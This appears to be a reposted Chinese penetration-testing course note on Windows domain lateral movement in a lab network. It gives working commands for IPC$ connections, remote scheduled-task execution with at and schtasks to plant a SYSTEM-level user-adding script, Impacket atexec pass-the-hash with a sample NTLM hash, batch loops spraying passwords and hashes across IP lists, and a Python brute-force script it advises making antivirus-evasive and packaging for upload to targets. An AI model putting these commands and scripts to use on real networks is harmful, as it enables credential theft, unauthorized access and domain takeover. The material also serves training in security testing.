66:內網安全-域橫向批量at&schtasks&impacket


思維導圖

本課重點

  • 案例1:橫向滲透明文傳遞
  • 案例2:橫向滲透明文HASH傳遞atexec-impacket
  • 案例3:橫向滲透明文HASH傳遞批量利用-綜合
  • 案例4:橫向滲透明文HASH傳遞批量利用-升級版

環境准備

2008 r2 webserver 域內web服務器
本地管理員賬號密碼: .\administraotr:admin!@#45
當前機器域用戶密碼: god\webadmin:admin!@#45

2003 x86 fileserver 域內文件服務器
本地管理員賬號密碼:administrator:admin
當前機器域用戶密碼: god\fileadmin:Admin12345

2008 r2 x64 dc god.org 主域控機器
域管賬號密碼: God\administrator:Admin12345

2012 sqlserver 域內數據庫服務器
本地管理員賬號密碼:.\administrator:admin!@#45
當前機器域用戶密碼:god\dbadmin:admin!@#45

w7 x64 mary-pc 域內個人機
本地管理員賬號密碼:.\mary:admin
當前機器域用戶密碼:god\mary:admin!@#45

w8.1 x64 jack-pc 域內個人機
本地管理員賬號密碼:.\jack:admin
當前機器域用戶密碼:god\boss:Admin12345

案例1:橫向滲透明文傳遞

在拿下一台內網主機,通過本地信息搜集收集用戶憑據等信息后,如何橫向滲透拿下更多的主機?這里僅介紹at&schtasks命令的使用,在已知目標系統的用戶明文密碼的基礎上,直接可在遠程主機上執行命令。

獲取到某域主機權限-> minikatz得到密碼(明文,hash)->用到信息收集里面域用戶的列表當做用戶名字典->用到密碼明文當做字典->嘗試連接->創建計划任務(at|schtasks)->執行文件可為后門或者相關命令

IPC( Internet Process Connection)是共享“命名管道”的資管,它是為了讓進城間通信而開放的命名管道,可以通過驗證用戶名和密碼獲得相關的權限,在遠程管路計算機和查看計算機的共享資源時使用。

利用流程:

  • 1.建立IPC鏈接到目標主機
  • 2.拷貝要執行的命令腳本到目標主機
  • 3.查看目標時間,創建計划任務( at,schtasks )定時執行拷貝到的腳本
  • 4.刪除IPC鏈接
net use \\server\ipc$"password" /user:username # 工作組
net use \\server\ipc$"password" /user:domain\username #域內
dir \\xx.xx.xx.xx\C$\                # 查看文件列表
copy \\xx.xx.xx.xx\C$\1.bat 1.bat  # 下載文件
copy 1.bat \\xx.xx.xx.xx\C$  # 復制文件
net use \\xx.xx.xx.xx\C$\1.bat /del  # 刪除文件
net use \\xx.xx.xx.xx\ipc$ \del		# 刪除IPC
net view xx.xx.xx.xx                # 查看對方共享

建立IPC常見的錯誤代碼

  • (1) 5:拒絕訪問,可能是使用的不是管理員權限,需要先提升權限
  • (2) 51:網絡問題,windoows無法找到網絡路徑
  • (3) 53:找不到網站路徑,可能是IP地址錯誤,目標未開機,目標Lanmanserver服務未啟動、有防火牆等問題
  • (4) 67:找不到網絡名,本地Lanmanworkstation服務未啟動,目標刪除ipc$
  • (5) 1219:提供的憑據和已存在的憑據集沖突,說明已建立IPC$,需要先刪除
  • (6) 1326:賬號密碼錯誤
  • (7) 1792:目標NetLogon服務未啟動,連接域控常常會出現此情況
  • (8) 2242:用戶密碼過期,目標有賬號策略,強制定期更改密碼

建立IPC失敗的原因

  • (1) 目標系統不是NT或以上的操作系統
  • (2) 對方沒有打開IPC$共享
  • (3) 對方未開啟139,445端口,或者被防火牆屏蔽
  • (4) 輸出命令,賬號密碼有錯誤

[at] & [schtasks]

#at < Windows2012
net use \\192.168.3.21\ipc$ "Admin12345" /user:god.org\administrator # 建立ipc連接
copy add.bat \192.168.3.21\c$  #拷貝執行文件到目標機器
at \\192.168.3.21 15:47 c:\add.bat    #添加計划任務

schtasks >=Windows2012
net use \\192.168.3.32\ipc$ "admin!@#45" /user:god.org\administrator # 建立ipc連接
copy add.bat \\192.168.3.32\c$ #復制文件到其C盤
schtasks /create /s 192.168.3.32 /ru "SYSTEM" /tn adduser /sc DAILY /tr c:\add.bat /F #創建adduser任務對應執行文件
schtasks /run /s 192.168.3.32 /tn adduser /i #運行adduser任務
schtasks /delete /s 192.168.3.21 /tn adduser /f#刪除adduser任務

案例演示

<1>獲取到DC的IP地址。執行以下兩個命令時,需要域用戶登錄,而不是本地用戶登錄

<2>假設已經找到DC的用戶名密碼(具體后面再詳細講)

<3>橫向滲透

由於域控DC是Win2008R2(< Windows2012),可以使用at命令。

net use \\192.168.3.21\ipc$ "Admin12345" /user:god.org\administrator # 建立ipc連接
copy add.bat \192.168.3.21\c$ #拷貝執行文件到目標機器
at \\192.168.3.21 15:47 c:\add.bat #添加計划任務

一段時候后,xiaodi用戶就自動添加成功了。

<4>如果目標計算機>=Windows2012,需要使用schtasks命令。

比如前期信息收集得到了sqlserver的用戶名密碼,SqlServer是window2012系統。

如下圖,當使用域用戶登錄時,copy是失敗的,原因是權限不夠,應該使用本地用戶登錄。

使用本地用戶登錄,執行如下命令

net use \\192.168.3.32\ipc$ "admin!@#45" /user:god.org\administrator # 建立ipc連接
copy add.bat \\192.168.3.32\c$ #復制文件到其C盤
schtasks /create /s 192.168.3.32 /ru "SYSTEM" /tn adduser /sc DAILY /tr c:\add.bat /F #創建adduser任務對應執行文件
schtasks /run /s 192.168.3.32 /tn adduser /i #運行adduser任務
schtasks /delete /s 192.168.3.21 /tn adduser /f#刪除adduser任務

等待一段時間,成功添加新用戶。

net user 查看用戶中是否多了一個xiaodi
net user xiaodi 查看xiaodi賬戶創建時間是否為剛才計划任務的時間
net user xiaodi /del 不需要了的話可以刪除

案例2:橫向滲透明文HASH傳遞atexec-impacket

atexec

  • 優點:一句話命令,連接、提權全部搞定。
  • 缺點:第三方工具,非微軟官方工具,易被殺毒軟件查殺,實戰中需要自己做一下免殺。
  • atexec是Impacket網絡協議工具包中的一個工具。Impacket工具包介紹:https://www.freebuf.com/sectool/175208.html
atexec.exe ./administrator:Admin12345@192.168.3.21 "whoami"
atexec.exe god/administrator:Admin12345@192.168.3.21 "whoami"
atexec.exe -hashes :ccef208c6485269c20db2cad21734fe7 ./administrator@192.168.3.21 "whoami"

案例演示

<1>impacket工具包下載,可下載exe版本

  • 地址:https://gitee.com/RichChigga/impacket-examples-windows

<2>執行命令,直接提權

案例3:橫向滲透明文HASH傳遞批量利用-綜合

FOR /F %%i in (ips.txt) do net use \%%i\ipc$ "admin!@#45" /user:administrator #批量檢測IP對應明文連接
FOR /F %%i in (ips.txt) do atexec.exe ./administrator:admin!@#45@%%i whoami #批量檢測IP對應明文回顯版
FOR /F %%i in (pass.txt) do atexec.exe ./administrator:%%i@192.168.3.21 whoami #批量檢測明文對應IP回顯版
FOR /F %%i in (hash.txt) do atexec.exe -hashes :%%i ./administrator@192.168.3.21 whoami #批量檢測HASH對應IP回顯版

<1>websever登錄,運行mimikatz,得到用戶名密碼。

<2>用微軟自帶命令探測網段存活主機

for /L %I in (1,1,254) DO @ping -w 1 -n 1 192.168.3.%I | findstr "TTL =" 自帶內部命令(推薦使用)

<3>批量檢測IP對應明文連接

FOR /F %%i in (ips.txt) do net use \%%i\ipc$ "admin!@#45" /user:administrator #批量檢測IP對應明文連接

 

發現網段內另一台主機192.168.3.29(jack-pc)與webserver用了相同的賬戶密碼,並且可以直接提權到system權限。

<4>在jack-pc上運行mimikatz,獲取到另一個賬戶密碼。

<5>接下來,可以使用新密碼繼續批量檢測IP對應明文。

FOR /F %%i in (ips.txt) do atexec.exe ./administrator:admin!@#45@%%i whoami #批量檢測IP對應明文回顯版

執行at_ip.bat,發現192,.168.3.21也用了該密碼,而它正好就是域控!

<6>或者可以采用另一種方法,由於此時我們已經拿到了2個真實的賬號密碼,可以寫一個字典表,直接去探測域控。

FOR /F %%i in (pass.txt) do atexec.exe ./administrator:%%i@192.168.3.21 whoami #批量檢測明文對應IP回顯版
FOR /F %%i in (hash.txt) do atexec.exe -hashes :%%i ./administrator@192.168.3.21 whoami #批量檢測HASH對應IP回顯版

執行at_ip.bat,找到了域控192,.168.3.21的密碼!直接提權!

當然了,這是我們測試環境,實戰中一般沒這么快!至少需要很多輪的信息收集,才能逐漸靠近域控。

案例4:橫向滲透明文HASH傳遞批量利用-升級版

前期除了收集明文密碼HASH等,還收集了用戶名,用戶名配合密碼字典能吃西瓜?

net use \192.168.3.32\ipc$ admin!@#45 /user:god\dbadmin

案例3中都是批處理命令,只能遍歷一個變量(不知道可不可遍歷2個變量,反正我不會寫),如果想要遍歷多個變量,比如IP、用戶名、密碼等,可以寫python腳本,免殺,使用Pyinstaller打包成exe文件,上傳到目標機器運行。

腳本(最好寫成多線程的)

import os,time
ips={
   '192.168.3.21',
   '192.168.3.25',
   '192.168.3.29',
   '192.168.3.30',
   '192.168.3.31',
   '192.168.3.33'
}

users={
   'Administrator',
   'boss',
   'dbadmin',
   'fileadmin',
   'mack',
   'mary',
   'vpnadm',
   'webadmin'
}
passs={
   'admin',
   'admin!@#45',
   'Admin12345'
}

for ip in ips:
   for user in users:
       for mima in passs:
           exec="net use \"+ "\"+ip+'\ipc$ '+mima+' /user:god\'+user
           print('--->'+exec+'<---')
           os.system(exec)
           time.sleep(1)

編譯

pip install pyinstaller
pyinstaller -F fuck_neiwang_001.py 生成可執行EXE

案例演示

<1>首先,查看網絡連接,此時結果是空的,沒有連接;然后運行exe文件,結束后再次查看網絡連接,發現連接上了5台主機。

<2>接下來,拷貝執行文件到目標主機,執行at或者schtasks命令創建任務即可。


免責聲明!

本站轉載的文章為個人學習借鑒使用,本站對版權不負任何法律責任。如果侵犯了您的隱私權益,請聯系本站郵箱yoyou2525@163.com刪除。



 
粵ICP備18138465號   © 2018-2025 CODEPRJ.COM